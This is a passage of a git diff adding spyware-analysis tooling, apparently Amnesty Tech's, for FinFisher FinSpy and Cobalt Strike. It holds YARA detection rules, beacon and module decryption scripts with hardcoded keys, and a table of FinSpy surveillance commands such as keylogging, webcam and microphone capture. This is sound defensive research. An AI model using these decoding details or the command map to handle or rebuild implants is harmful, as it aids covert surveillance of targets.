uint16(0) == 0x6564 and + $timestamp and + $config_1 and + $config_2 and + $config_3 and + $config_4 and + $config_5 +} + +rule FinSpy_TippyPad: finspyTP +{ + meta: + description = "Detect FinFisher FinSpy 'TippyPad' variant." + date = "2020/08/05" + author = "Esther Onfroy a.k.a U+039b - *@0x39b.fr (https://twitter.com/u039b)" + strings: + $pad_1 = "0123456789abcdef" + $pad_2 = "fedcba9876543210" + + condition: + uint16(0) == 0x6564 and + #pad_1 > 50 and + #pad_2 > 50 +} diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/cobaltstrike/cobaltstrike_config.py b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/cobaltstrike/cobaltstrike_config.py new file mode 100644 index 0000000..98134dd --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/cobaltstrike/cobaltstrike_config.py @@ -0,0 +1,115 @@ +import argparse +import struct +import re +import sys +import json + +""" +Extract configuration from a Cobalt Strike decrypted beacon + +Author : Etienne Maynier, Amnesty Tech +Date : March 2020 +""" + +CONFIG_STRUCT = { + 1: "dns_ssl", + 2: "port", + 3: ".sleeptime", + 4: ".http-get.server.output", + 5: ".jitter", + 6: ".maxdns", + 7: "publickey", + 8: ".http-get.uri", + 9: ".user-agent", + 10: ".http-post.uri", + 11: ".http-get.server.output", + 12: ".http-get.client", + 13: ".http-post.client", + 14: ".spawnto", + 15: "unknown", + 19: ".dns_idle", + 20: ".dns_sleep ", + 26: ".http-get.verb", + 27: ".http-post.verb", + 28: "shouldChunkPosts", + 29: ".post-ex.spawnto_x86", + 30: ".post-ex.spawnto_x64", + 31: "cryptoscheme", + 37: "watermark", + 38: ".stage.cleanup", + 39: "CFGCaution", + 50: "cookieBeacon" +} +CONFIG_SIZE = 1978 + +class JsonEncoder(json.JSONEncoder): + def default(self, obj): + if isinstance(obj, bytearray): + return obj.hex() + return json.JSONEncoder.default(self, obj) + + +def search_config(data): + r = re.search(b"ihihik.{2}ikihik", data) + if r: + return r.span()[0] + else: + return None + + +def decode_config(data): + config = {} + i = 0 + while i < len(data) - 8: + dec = struct.unpack(">HHH", data[i:i+6]) + if dec[0] == 1: + v = struct.unpack(">H", data[i+6:i+8])[0] + config["dns"] = ((v & 1) == 1) + config["ssl"] = ((v & 8) == 8) + elif dec[0] in CONFIG_STRUCT.keys(): + if dec[1] == 1 and dec[2] == 2: + # Short + config[CONFIG_STRUCT[dec[0]]] = struct.unpack(">H", data[i+6:i+8])[0] + elif dec[1] == 2 and dec[2] == 4: + # Int + config[CONFIG_STRUCT[dec[0]]] = struct.unpack(">I", data[i+6:i+10])[0] + elif dec[1] == 3: + # Byte or string + v = data[i+6:i+6+dec[2]] + try: + config[CONFIG_STRUCT[dec[0]]] = v.decode('utf-8').strip('\x00') + except UnicodeDecodeError: + config[CONFIG_STRUCT[dec[0]]] = v + else: + print("Unknown config command {}".format(dec[0])) + # Add size + + i += dec[2] + 6 + return config + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Extract Cobalt Strike configuration') + parser.add_argument('PAYLOAD', help='A Cobalt Strike beacon') + parser.add_argument('--json', '-j', action="store_true", help='Print json') + args = parser.parse_args() + + with open(args.PAYLOAD, "rb") as f: + data = f.read() + + START = search_config(data) + if not START: + print("Start position of the config struct not found") + sys.exit(-1) + + # Configuration is xored with 105 + conf = bytearray([c ^ 105 for c in data[START:START+CONFIG_SIZE]]) + + config = decode_config(conf) + if args.json: + print(json.dumps(config, indent=4, sort_keys=True, cls=JsonEncoder)) + else: + for d in config: + if isinstance(config[d], bytearray): + print("{} : {}".format(d, config[d].hex())) + else: + print("{} : {}".format(d, config[d])) diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/cobaltstrike/cobaltstrike_decode.py b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/cobaltstrike/cobaltstrike_decode.py new file mode 100644 index 0000000..4427651 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/cobaltstrike/cobaltstrike_decode.py @@ -0,0 +1,51 @@ +import argparse +import struct +import sys + +""" +Decrypt a Cobalt Strike encrypted beacon + +Author: Etienne Maynier, Amnesty Tech +Date: March 2020 +""" + +def xor(a, b): + return bytearray([a[0]^b[0], a[1]^b[1], a[2]^b[2], a[3]^b[3]]) + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Decode an encoded Cobalt Strike beacon') + parser.add_argument('PAYLOAD', help='an integer for the accumulator') + args = parser.parse_args() + + with open(args.PAYLOAD, "rb") as f: + data = f.read() + + # The base address of the sample change depending on the code + ba = data.find(b"\xe8\xd4\xff\xff\xff") + if ba == -1: + ba = data.find(b"\xe8\xd0\xff\xff\xff") + if ba == -1: + print("Base Address not found") + sys.exit(1) + ba += 5 + + key = data[ba:ba+4] + print("Key : {}".format(key)) + size = struct.unpack("I", xor(key, data[ba+4:ba+8]))[0] + print("Size : {}".format(size)) + + res = bytearray() + i = ba+8 + while i < (len(data) - ba - 8): + d = data[i:i+4] + res += xor(d, key) + key = d + i += 4 + + if not res.startswith(b"MZ"): + print("Invalid decoding, no PE header") + + with open("a.out", "wb+") as f: + f.write(res) + print("PE file extracted in a.out") diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/decode_modules.py b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/decode_modules.py new file mode 100644 index 0000000..01fa8e4 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/decode_modules.py @@ -0,0 +1,56 @@ +import sys +import os +import struct +import hashlib +import ctypes +import binascii +import argparse +from Crypto.Cipher import AES +""" +Decode FinSpy modules for Linux and MacOS + +Author : Maciek mak@malwarelab.pl +Date: August 2020 +""" + + +def unpack(data, s=0): + """ + Decode the binary with aplib + """ + cin = ctypes.c_buffer(data) + cout = ctypes.c_buffer(s if s else len(data) * 20) + aplib_path = os.path.join( + os.path.dirname(os.path.realpath(__file__)), + "_aplib.so") + aPLIB = ctypes.cdll.LoadLibrary(aplib_path) + n = aPLIB.aP_depack(cin, cout) + return cout.raw[:n] + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Unpack FinSpy modules') + parser.add_argument('MODULE', help='Finspy module') + args = parser.parse_args() + + with open(args.MODULE,'rb') as f: + hmd5 = f.read(0x10) + IV = f.read(0x10) + data = f.read() + + hash_iv_data = hashlib.md5(IV + data) + if hmd5 == hash_iv_data.digest(): + data = IV + data + IV = b'\xd9!V\xee\xbe\x0c\xf9\x18*\xfaR;%&\xb7\x08' + + if hmd5 == hashlib.md5(data).digest(): + print('[+] DATA HASH match {}'.format(binascii.hexlify(hmd5))) + + key = b'YO\xf4\xa6\xd6\x1d\xd7!\xdc\x01A\xbfg\x83"m' + xdata = AES.new(key,mode=AES.MODE_CBC,IV=bytes(IV)).decrypt(data) + size = struct.unpack('I',xdata[:4])[0] + print('[+] Unpacked size: {:x}'.format(size)) + depack = unpack(xdata[4:], size) + with open(args.MODULE + '.unpacked.bin','wb') as f: + f.write(depack) + print('[*] saved to {}.unpacked.bin'.format(sys.argv[1])) diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/linux/extract_config.py b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/linux/extract_config.py new file mode 100644 index 0000000..6aa43bc --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/linux/extract_config.py @@ -0,0 +1,38 @@ +import os +import sys +import argparse +import re +import struct + +""" +Extract configuration of Linux FinSpy from an installer +author: Etienne Maynier, Amnesty Tech +""" + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Extract configuration Linux Finspy sample') + parser.add_argument('FILE', help='FinSpy sample for Linux') + args = parser.parse_args() + + regex_cfg = re.compile(b'.[\x50-\x5f]\xa5\xaa\xca\xa6\x54\x5a.[\xa0-\xaf]\x5a\xa5\x0a') + + with open(args.FILE, 'rb') as f: + data = f.read() + + if len(regex_cfg.findall(data)) < 5: + print("This does not look like a FinSpy sample") + sys.exit(-1) + + if not os.path.isdir('extracted'): + os.mkdir('extracted') + + i = 1 + for cfg in regex_cfg.finditer(data): + pos = cfg.span()[0] + # Decrypt the first 4 bytes to get the length + length = struct.unpack('I', bytearray([data[pos]^0xaa, data[pos+1]^0x5a, data[pos+2]^0xa5, data[pos+3]^0xaa]))[0] + with open('extracted/{0:02d}.dat'.format(i), 'wb+') as f: + f.write(data[pos:pos+length]) + print("Configuration file extracted {0:02d}.dat ({} bytes)".format(i, length)) + i += 1 diff --git a/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/read_config.py b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/read_config.py new file mode 100644 index 0000000..5f7c955 --- /dev/null +++ b/data/ioc/spyware/amnesty/2020-09-25_finfisher/scripts/read_config.py @@ -0,0 +1,872 @@ +import argparse +import os +import sys +import struct +#import simplejson as json +from json import JSONEncoder +import json +from io import BytesIO +""" +Decode configuration from FinSpy Linux, MacOS and Android samples +Python3 only +""" + +__author__ = "Maciek mak@malwarelab.pl" + + +# From https://github.com/devio/FinSpy-Tools/blob/master/Android/finspyCfgParse.py +tlv_types = { + 4522400: "TlvTypeMobileTrackingStartRequest", + 4522656: "TlvTypeMobileTrackingStopRequest", + 4523376: "TlvTypeMobileTrackingDataV10", + 4535200: "TlvTypeMobileTrackingConfig", + 4535440: "TlvTypeMobileTrackingConfigRaw", + 4538432: "TlvTypeMobileTrackingTimeInterval", + 4538688: "TlvTypeMobileTrackingDistance", + 4538928: "TlvTypeMobileTrackingSendOnAnyChannel", + 6291872: "TlvTypeMobileLoggingMetaInfo", + 6292096: "TlvTypeMobileLoggingData", + 4456864: "TlvTypeMobileBlackberryMessengerMetaInfo", + 4457088: "TlvTypeMobileBlackberryMessengerData", + 4457328: "TlvTypeMobileBlackberryMsChatID", + 4457600: "TlvTypeMobileBlackberryMsConversationPartners", + 4587936: "TlvTypeMobilePhoneCallLogsMetaInfo", + 4588192: "TlvTypeMobilePhoneCallLogsData", + 4588400: "TlvTypeMobilePhoneCallLogsType", + 4588672: "TlvTypeMobilePhoneCallAdditionalInformation", + 4588912: "TlvTypeMobilePhoneCallLogsCallerNumber", + 4589168: "TlvTypeMobilePhoneCallLogsCalleeNumber", + 4589440: "TlvTypeMobilePhoneCallLogsCallerName", + 4589696: "TlvTypeMobilePhoneCallLogsCalleeName", + 4591680: "TlvTypeMobilePhoneCallLogLastEntryEndtime", + 4325792: "TlvTypeMobileSMSMetaInfo", + 4326016: "TlvTypeMobileSMSData", + 4326256: "TlvTypeSMSSenderNumber", + 4326512: "TlvTypeSMSRecipientNumber", + 4326768: "TlvTypeSMSDirection", + 4326528: "TlvTypeSMSInformation", + 4391328: "TlvTypeMobileAddressBookMetaInfo", + 4391552: "TlvTypeMobileAddressBookData", + 4407360: "TlvTypeMobileAddressBookChecksum", + 8978752: "TlvTypeMobileProxyMasterCommSig", + 8979104: "TlvTypeMobileProxyMasterComm", + 8979360: "TlvTypeMobileMasterProxyComm", + 8979616: "TlvTypeProxyMasterMobileHeartBeatAnswer", + 8979872: "TlvTypeMobileMasterProxyCommNotification", + 8782176: "TlvTypeProxyMobileTargetCommSig", + 8782496: "TlvTypeProxyMobileTargetComm", + 8782752: "TlvTypeProxyMasterMobileTargetComm", + 1507744: "TlvTypeAccessedFileMetaInfo", + 1507968: "TlvTypeAccessedFileAccessTime", + 1508224: "TlvTypeAccessedFileAccessEvent", + 1508496: "TlvTypeAccessedFileRecording", + 1508736: "TlvTypeAccessedApplicationName", + 1508912: "TlvTypeConfigRecordImagesFromExplorer", + 1519776: "TlvTypeGetAccessedConfigRequest", + 1520032: "TlvTypeAccessedConfigReply", + 1520288: "TlvTypeSetAccessedConfigRequest", + 1520448: "TlvTypeConfigAccessedEvents", + 2240672: "TlvTypeGetMouseClicksConfigRequest", + 2240928: "TlvTypeMouseClicksConfigReply", + 2241184: "TlvTypeSetMouseClicksConfigRequest", + 2228640: "TlvTypeMouseClicksMetaInfo", + 2228896: "TlvTypeMouseClicksFrame", + 2232448: "TlvTypeMouseClicksEncodingType", + 2232896: "TlvTypeConfigMouseClicksRectangle", + 2233152: "TlvTypeConfigMouseClicksSensitivity", + 2233408: "TlvTypeConfigMouseClicksType", + 2175136: "TlvTypeGetVoIPConfigRequest", + 2175392: "TlvTypeVoIPConfigReply", + 2175648: "TlvTypeSetVoIPConfigRequest", + 2163104: "TlvTypeVoIPMetaInfo", + 2166912: "TlvTypeVoIPEncodingType", + 2167168: "TlvTypeVoIPSessionType", + 2167424: "TlvTypeVoIPApplicationName", + 2167696: "TlvTypeVoIPAppScreenshot", + 2167952: "TlvTypeVoIPAudioRecording", + 2168112: "TlvTypeConfigVoIPScreenshotEnabled", + 2109600: "TlvTypeGetForensicsConfigRequest", + 2109856: "TlvTypeForensicsConfigReply", + 2110112: "TlvTypeSetForensicsConfigRequest", + 2097568: "TlvTypeUploadForensicsApplicationRequest", + 2097824: "TlvTypeUploadForensicsApplicationReply", + 2098080: "TlvTypeUploadForensicsApplicationChunk", + 2098336: "TlvTypeUploadForensicsApplicationDoneRequest", + 2098592: "TlvTypeUploadForensicsApplicationDoneReply", + 2101664: "TlvTypeRemoveForensicsApplicationRequest", + 2101920: "TlvTypeRemoveForensicsApplicationReply", + 2105760: "TlvTypeForensicsAppExecuteRequest", + 2106016: "TlvTypeForensicsAppExecuteReply", + 2106272: "TlvTypeForensicsAppExecuteResult", + 2106528: "TlvTypeForensicsAppExecuteResultChunk", + 2106784: "TlvTypeForensicsAppExecuteResultDone", + 2107040: "TlvTypeForensicsCancelAppExecuteRequest", + 2107296: "TlvTypeForensicsCancelAppExecuteReply", + 2113680: "TlvTypeConfigForensicsApplicationInfoGeneric", + 2113952: "TlvTypeConfigForensicsApplicationInfo", + 2117760: "TlvTypeConfigForensicsApplicationName", + 2117952: "TlvTypeConfigForensicsApplicationSize", + 2118208: "TlvTypeConfigForensicsApplicationID", + 2118528: "TlvTypeConfigForensicsApplicationCmdline", + 2118784: "TlvTypeConfigForensicsApplicationOutput", + 2118976: "TlvTypeConfigForensicsApplicationTimeout", + 2119232: "TlvTypeConfigForensicsApplicationVersion", + 2119552: "TlvTypeForensicsFriendlyName", + 2119808: "TlvTypeConfigForensicsApplicationOutputPrepend", + 2120064: "TlvTypeConfigForensicsApplicationOutputContentType", + 1638816: "TlvTypeDeletedFileMetaInfo", + 1639296: "TlvTypeDeletedFileDeletionTime", + 1639552: "TlvTypeDeletedFileRecycleBin", + 1639808: "TlvTypeDeletedMethod", + 1640064: "TlvTypeDeletedApplicationName", + 1640336: "TlvTypeDeletedFileRecording", + 1650848: "TlvTypeGetDeletedConfigRequest", + 1651104: "TlvTypeDeletedConfigReply", + 1651360: "TlvTypeSetDeletedConfigRequest", + 1573280: "TlvTypePrintFileMetaInfo", + 1573520: "TlvTypePrintFrame", + 1581184: "TlvTypePrintApplicationName", + 1581440: "TlvTypePrintFilename", + 1581696: "TlvTypePrintEncodingType", + 1585312: "TlvTypeGetPrintConfigRequest", + 1585568: "TlvTypePrintConfigReply", + 1585824: "TlvTypeSetPrintConfigRequest", + 1442208: "TlvTypeChangedFileMetaInfo", + 1442432: "TlvTypeChangedFileChangeTime", + 1442688: "TlvTypeChangedFileChangeEvent", + 1442960: "TlvTypeChangedFileRecording", + 1454240: "TlvTypeGetChangedConfigRequest", + 1454496: "TlvTypeChangedConfigReply", + 1454752: "TlvTypeSetChangedConfigRequest", + 1454912: "TlvTypeConfigChangedEvents", + 1311136: "TlvTypeSkypeAudioMetaInfo", + 1311376: "TlvTypeSkypeAudioRecording", + 1311648: "TlvTypeSkypeTextRecording", + 1311904: "TlvTypeSkypeFileMetaInfo", + 1312144: "TlvTypeSkypeFileRecording", + 1312416: "TlvTypeSkypeContactsRecording", + 1312640: "TlvTypeSkypeContactsUserData", + 1323168: "TlvTypeGetSkypeConfigRequest", + 1323424: "TlvTypeSkypeConfigReply", + 1323680: "TlvTypeSetSkypeConfigRequest", + 1324336: "TlvTypeConfigSkypeAudioEnable", + 1324592: "TlvTypeConfigSkypeTextEnable", + 1324848: "TlvTypeConfigSkypeFileEnable", + 1325104: "TlvTypeConfigSkypeContactsListEnable", + 1327232: "TlvTypeSkypeAudioEncodingType", + 1327488: "TlvTypeSkypeLoggedInUserAccountName", + 1327744: "TlvTypeSkypeConversationPartnerAccountName", + 1328000: "TlvTypeSkypeConversationPartnerDisplayName", + 1328256: "TlvTypeSkypeChatMembers", + 1328512: "TlvTypeSkypeTextMessage", + 1328768: "TlvTypeSkypeChatID", + 1329024: "TlvTypeSkypeSenderAccountName", + 1329280: "TlvTypeSkypeSenderDisplayName", + 1329536: "TlvTypeSkypeIncoming", + 1329792: "TlvTypeSkypeSessionType", + 1192096: "TlvTypeGetKeyloggerConfigRequest", + 1192352: "TlvTypeKeyloggerConfigReply", + 1192608: "TlvTypeSetKeyloggerConfigRequest", + 1180064: "TlvTypeStartKeyLoggingRequest", + 1180320: "TlvTypeStartKeyLoggingReply", + 1180576: "TlvTypeKeyLoggingFrame", + 1180832: "TlvTypeStopKeyLoggingRequest", + 1181088: "TlvTypeKeyLoggingStoppedReply", + 1196416: "TlvTypeKLFrameData", + 1126560: "TlvTypeGetVideoConfigRequest", + 1126816: "TlvTypeVideoConfigReply", + 1127072: "TlvTypeSetVideoConfigRequest", + 1114528: "TlvTypeStartScreenRequest", + 1114784: "TlvTypeStartScreenReply", + 1115040: "TlvTypeScreenFrame", + 1115296: "TlvTypeStopScreenRequest", + 1115552: "TlvTypeScreenStoppedReply", + 1115808: "TlvTypeStartScreenRecording", + 1122720: "TlvTypeStartWebCamRequest", + 1122976: "TlvTypeStartWebCamReply", + 1123232: "TlvTypeWebCamFrame", + 1123488: "TlvTypeStopWebCamRequest", + 1123744: "TlvTypeWebCamStoppedReply", + 1124000: "TlvTypeStartWebCamRecording", + 1130560: "TlvTypeVDFrameID", + 1130896: "TlvTypeVDFrameData", + 1131136: "TlvTypeOriginalVideoResolution", + 1131392: "TlvTypeVideoResolution", + 1066112: "TlvTypeVideoSessionType", + 1066368: "TlvTypeVideoEncodingType", + 1132160: "TlvTypeAutomaticRecordingUID", + 1061024: "TlvTypeGetAudioConfigRequest", + 1061280: "TlvTypeAudioConfigReply", + 1061536: "TlvTypeSetAudioConfigRequest", + 1048992: "TlvTypeStartMicrophoneRequest", + 1049248: "TlvTypeStartMicrophoneReply", + 1049504: "TlvTypeMicrophoneFrame", + 1049760: "TlvTypeStopMicrophoneRequest", + 1050016: "TlvTypeMicrophoneStoppedReply", + 1050272: "TlvTypeStartMicrophoneRecording", + 1052736: "TlvTypeMICFrameID", + 1053072: "TlvTypeMICFrameData", + 1053312: "TlvTypeAudioSessionType", + 1053568: "TlvTypeAudioEncodingType", + 328096: "TlvTypeGetSchedulerConfigRequest", + 328352: "TlvTypeSchedulerConfigReply", + 328608: "TlvTypeSetSchedulerConfigRequest", + 331920: "TlvTypeSchedulerTask", + 332192: "TlvTypeSchedulerTaskRecordByTime", + 332448: "TlvTypeSchedulerTaskRecordScreenWhenAppRuns", + 332704: "TlvTypeSchedulerTaskRecordMicWhenAppUsesIt", + 332960: "TlvTypeSchedulerTaskRecordWebCamWhenAppUsesIt", + 360592: "TlvTypeSCHTaskConfiguration", + 360752: "TlvTypeSCHTaskEnabled", + 361344: "TlvTypeSCHTaskStartDateTime", + 361600: "TlvTypeSCHTaskStopDateTime", + 362112: "TlvTypeSCHApplicationName", + 362288: "TlvTypeSCHApplicationWindowOnly", + 299168: "TlvTypeGetCmdLineConfigRequest", + 299424: "TlvTypeCmdLineConfigReply", + 299680: "TlvTypeSetCmdLineConfigRequest", + 262560: "TlvTypeStartCmdLineSessionRequest", + 262816: "TlvTypeStartCmdLineSessionReply", + 263072: "TlvTypeStopCmdLineSessionRequest", + 263328: "TlvTypeCmdLineSessionStoppedReply", + 263584: "TlvTypeCmdLineExecute", + 263840: "TlvTypeCmdLineExecutionResult", + 266352: "TlvTypeCmdLineExecuteCommand", + 266560: "TlvTypeCmdLineExecuteAnswerID", + 266864: "TlvTypeCmdLineExecuteAnswerData", + 168096: "TlvTypeGetFileSystemConfigRequest", + 168352: "TlvTypeFileSystemConfigReply", + 168608: "TlvTypeSetFileSystemConfigRequest", + 131488: "TlvTypeGetAllDrivesRequest", + 131744: "TlvTypeGetAllDrivesReply", + 135328: "TlvTypeGetFolderContentsRequest", + 135584: "TlvTypeGetFolderContentsReply", + 135840: "TlvTypeGetFolderContentsNext", + 136096: "TlvTypeGetFolderContentsEnd", + 139424: "TlvTypeDownloadFileRequest", + 139680: "TlvTypeCancelDownloadFileRequest", + 139936: "TlvTypeDownloadFileReply", + 140192: "TlvTypeDownloadFileNext", + 140448: "TlvTypeDownloadFileEnd", + 140704: "TlvTypeCancelDownloadFileReply", + 143520: "TlvTypeUploadFileRequest", + 143776: "TlvTypeCancelUploadFileRequest", + 144032: "TlvTypeUploadFileReply", + 144288: "TlvTypeUploadFileNext", + 144544: "TlvTypeUploadFileEnd", + 144800: "TlvTypeUploadFileCompleted", + 145056: "TlvTypeCancelUploadFileReply", + 147616: "TlvTypeDeleteFileRequest", + 147872: "TlvTypeDeleteFileReply", + 151968: "TlvTypeSearchFileRequest", + 152224: "TlvTypeSearchFileReply", + 152480: "TlvTypeSearchFileNext", + 152736: "TlvTypeSearchFileEnd", + 152992: "TlvTypeCancelSearchFileRequest", + 153248: "TlvTypeCancelSearchFileReply", + 159888: "TlvTypeFSFileDataChunk", + 160128: "TlvTypeFSDiskDrive", + 160384: "TlvTypeFSFullPath", + 160640: "TlvTypeFSFilename", + 160896: "TlvTypeFSFileExtension", + 161088: "TlvTypeFSDiskDriveType", + 161408: "TlvTypeFSFileSize", + 161584: "TlvTypeFSIsFolder", + 161840: "TlvTypeFSReadOnly", + 162096: "TlvTypeFSHidden", + 162352: "TlvTypeFSSystem", + 162688: "TlvTypeFSFileCreationTime", + 162944: "TlvTypeFSFileLastAccessTime", + 163200: "TlvTypeFSFileLastWriteTime", + 163472: "TlvTypeFSFullPathM", + 8978848: "TlvTypeMasterMobileTargetConn", + 7471520: "TlvTypeMasterTargetConn", + 7405984: "TlvTypeMasterAgentLogin", + 7406240: "TlvTypeMasterAgentLoginAnswer", + 7406752: "TlvTypeMasterAgentTargetList", + 7407008: "TlvTypeMasterAgentTargetOnlineList", + 7407264: "TlvTypeMasterAgentTargetInfoReply", + 7407520: "TlvTypeMasterAgentUserList", + 7407776: "TlvTypeMasterAgentUserListReply", + 7408032: "TlvTypeMasterAgentTargetArchivedList", + 7408288: "TlvTypeMasterAgentTargetListEx", + 7408544: "TlvTypeMasterAgentTargetOnlineListEx", + 7408800: "TlvTypeMasterAgentMobileTargetArchivedList", + 7409056: "TlvTypeMasterAgentMobileTargetList", + 7409312: "TlvTypeMasterAgentMobileTargetOnlineList", + 7409824: "TlvTypeMasterAgentQueryFirst", + 7410080: "TlvTypeMasterAgentQueryNext", + 7410336: "TlvTypeMasterAgentQueryLast", + 7410592: "TlvTypeMasterAgentQueryAnswer", + 7410848: "TlvTypeMasterAgentRemoveRecord", + 7411104: "TlvTypeMasterAgentTargetInfoExReply", + 7411344: "TlvTypeTargetInfoExProperty", + 7411616: "TlvTypeTargetInfoExPropertyValue", + 7411840: "TlvTypeTargetInfoExPropertyValueName", + 7411968: "TlvTypeTargetInfoExPropertyValueData", + 7412384: "TlvTypeMasterAgentAlarm", + 7413920: "TlvTypeMasterAgentRetrieveData", + 7414176: "TlvTypeMasterAgentRetrieveDataAnswer", + 7414432: "TlvTypeMasterAgentRemoveUser", + 7414688: "TlvTypeMasterAgentRemoveTarget", + 7414944: "TlvTypeMasterAgentRetrieveDataComments", + 7415200: "TlvTypeMasterAgentUpdateDataComments", + 7415712: "TlvTypeMasterAgentRetrieveActivityLogging", + 7415968: "TlvTypeMasterAgentRetrieveMasterLogging", + 7416224: "TlvTypeMasterAgentRetrieveAgentActivityLogging", + 7417248: "TlvTypeMasterAgentSendUserGUIConfig", + 7417504: "TlvTypeMasterAgentGetUserGUIConfigRequest", + 7417760: "TlvTypeMasterAgentGetUserGUIConfigReply", + 7418016: "TlvTypeMasterAgentProxyList", + 7418272: "TlvTypeMasterAgentProxyInfoReply", + 7419040: "TlvTypeMasterAgentNameValuePacket", + 7419248: "TlvTypeMasterAgentValueName", + 7419392: "TlvTypeMasterAgentValueData", + 7419808: "TlvTypeMasterAgentRetrieveTargetHistory", + 7421088: "TlvTypeMasterAgentInstallMasterLicense", + 7421344: "TlvTypeMasterAgentInstallSoftwareUpdate", + 7421600: "TlvTypeMasterAgentInstallSoftwareUpdateChunk", + 7421856: "TlvTypeMasterAgentInstallSoftwareUpdateDone", + 7422112: "TlvTypeMasterAgentSoftwareUpdateInfo", + 7422368: "TlvTypeMasterAgentSoftwareUpdateInfoReply", + 7422624: "TlvTypeMasterAgentSoftwareUpdate", + 7422880: "TlvTypeMasterAgentSoftwareUpdateReply", + 7423136: "TlvTypeMasterAgentSoftwareUpdateNext", + 7423392: "TlvTypeMasterAgentAddTimeSchedule", + 7423648: "TlvTypeMasterAgentAddScreenSchedule", + 7423904: "TlvTypeMasterAgentAddLockedSchedule", + 7424160: "TlvTypeMasterAgentRemoveSchedule", + 7424416: "TlvTypeMasterAgentGetSchedulerList", + 7424672: "TlvTypeMasterAgentSchedulerTimeAction", + 7424928: "TlvTypeMasterAgentSchedulerScreenAction", + 7425184: "TlvTypeMasterAgentSchedulerLockedAction", + 7425440: "TlvTypeMasterAgentProjectSoftwareUpdateInfo", + 7425696: "TlvTypeMasterAgentProjectSoftwareUpdateInfoReply", + 7425952: "TlvTypeMasterAgentProjectSoftwareUpdate", + 7426112: "TlvTypeMasterAgentSchedulerID", + 7426368: "TlvTypeMasterAgentSchedulerStartTime", + 7426624: "TlvTypeMasterAgentSchedulerStopTime", + 7427488: "TlvTypeMasterAgentAddRecordedDataAvailableSchedule", + 7427744: "TlvTypeMasterAgentSchedulerRecordedDataAvailableAction", + 7428256: "TlvTypeMasterAgentRetrieveRemoteMasterData", + 7428512: "TlvTypeMasterAgentRetrieveRemoteMasterDataReply", + 7428768: "TlvTypeMasterAgentDeleteRemoteMasterData", + 7429024: "TlvTypeMasterAgentRetrieveOfflineMasterData", + 7429280: "TlvTypeMasterAgentRetrieveOfflineMasterDataReply", + 7429536: "TlvTypeMasterAgentDeleteOfflineMasterData", + 7430304: "TlvTypeMasterAgentQueryFirstEx", + 7430560: "TlvTypeMasterAgentQueryNextEx", + 7430816: "TlvTypeMasterAgentQueryLastEx", + 7431072: "TlvTypeMasterAgentQueryAnswerEx", + 7431328: "TlvTypeMasterAgentSendUserPreferences", + 7431584: "TlvTypeMasterAgentGetUserPreferencesRequest", + 7431840: "TlvTypeMasterAgentGetUserPreferencesReply", + 7432096: "TlvTypeMasterAgentListMCFilesRequest", + 8415392: "TlvTypeMasterAgentListMCFilesReply", + 7432608: "TlvTypeMasterAgentDeleteMCFiles", + 7432864: "TlvTypeMasterAgentSendMCFiles", + 7433120: "TlvTypeMasterAgentMCStatisticsRequest", + 7433376: "TlvTypeMasterAgentMCStatisticsReply", + 7433616: "TlvTypeMasterAgentMCStatisticsValues", + 7434400: "TlvTypeMasterAgentTrojanKeyRequest", + 7434656: "TlvTypeMasterAgentTrojanKeyReply", + 7434912: "TlvTypeMasterAgentEvProtectionX509Request", + 7435168: "TlvTypeMasterAgentEvProtectionX509Reply", + 7435424: "TlvTypeMasterAgentEvProtectionImportCert", + 7435680: "TlvTypeMasterAgentEvProtectionImportCertCompleted", + 7435936: "TlvTypeMasterAgentConfigurationRequest", + 7436192: "TlvTypeMasterAgentConfigurationReply", + 7436448: "TlvTypeMasterAgentConfigurationUpdateRequest", + 7436704: "TlvTypeMasterAgentConfigurationUpdateRequestCompleted", + 7436944: "TlvTypeMasterAgentConfiguration", + 7437216: "TlvTypeMasterAgentConfigurationValue", + 7437424: "TlvTypeMasterAgentConfigurationValueName", + 7437568: "TlvTypeMasterAgentConfigurationValueData", + 7437984: "TlvTypeMasterAgentConfigurationTransferDone", + 7438496: "TlvTypeMasterAgentRetrieveTargetFile", + 7438752: "TlvTypeMasterAgentRetrieveTargetFileAnswer", + 7438912: "TlvTypeMasterAgentAlarmEntryID", + 7439168: "TlvTypeMasterAgentAlarmEntryVersion", + 7439424: "TlvTypeMasterAgentAlarmTriggerFlags", + 7439776: "TlvTypeMasterAgentGetAlarmList", + 7440032: "TlvTypeMasterAgentAddAlarmEntry", + 7440288: "TlvTypeMasterAgentRemoveAlarmEntry", + 7440544: "TlvTypeMasterAgentAlarmEntry", + 7440800: "TlvTypeMasterAgentSystemStatus", + 7441056: "TlvTypeMasterAgentSystemStatusRequest", + 7441312: "TlvTypeMasterAgentSystemStatusReply", + 7441552: "TlvTypeMasterAgentLicenseValues", + 7441824: "TlvTypeMasterAgentLicenseValuesRequest", + 7442080: "TlvTypeMasterAgentLicenseValuesReply", + 7442592: "TlvTypeMasterAgentGetNetworkConfigurationRequest", + 7442848: "TlvTypeMasterAgentSetNetworkConfigurationRequest", + 7443104: "TlvTypeMasterAgentSetNetworkConfigurationReply", + 7443360: "TlvTypeMasterAgentRetrieveAllowedModulesList", + 7443616: "TlvTypeMasterAgentRetrieveAllowedModulesListAnswer", + 7446688: "TlvTypeMasterAgentRemoveAllTargetData", + 7446944: "TlvTypeMasterAgentForceDownloadRecordedData", + 7447200: "TlvTypeMasterAgentTargetCreateNotification", + 7447456: "TlvTypeMasterAgentMobileTargetInfoReply", + 7447696: "TlvTypeMasterAgentMobileTargetInfoValues", + 7450784: "TlvTypeMasterAgentAlert", + 7454880: 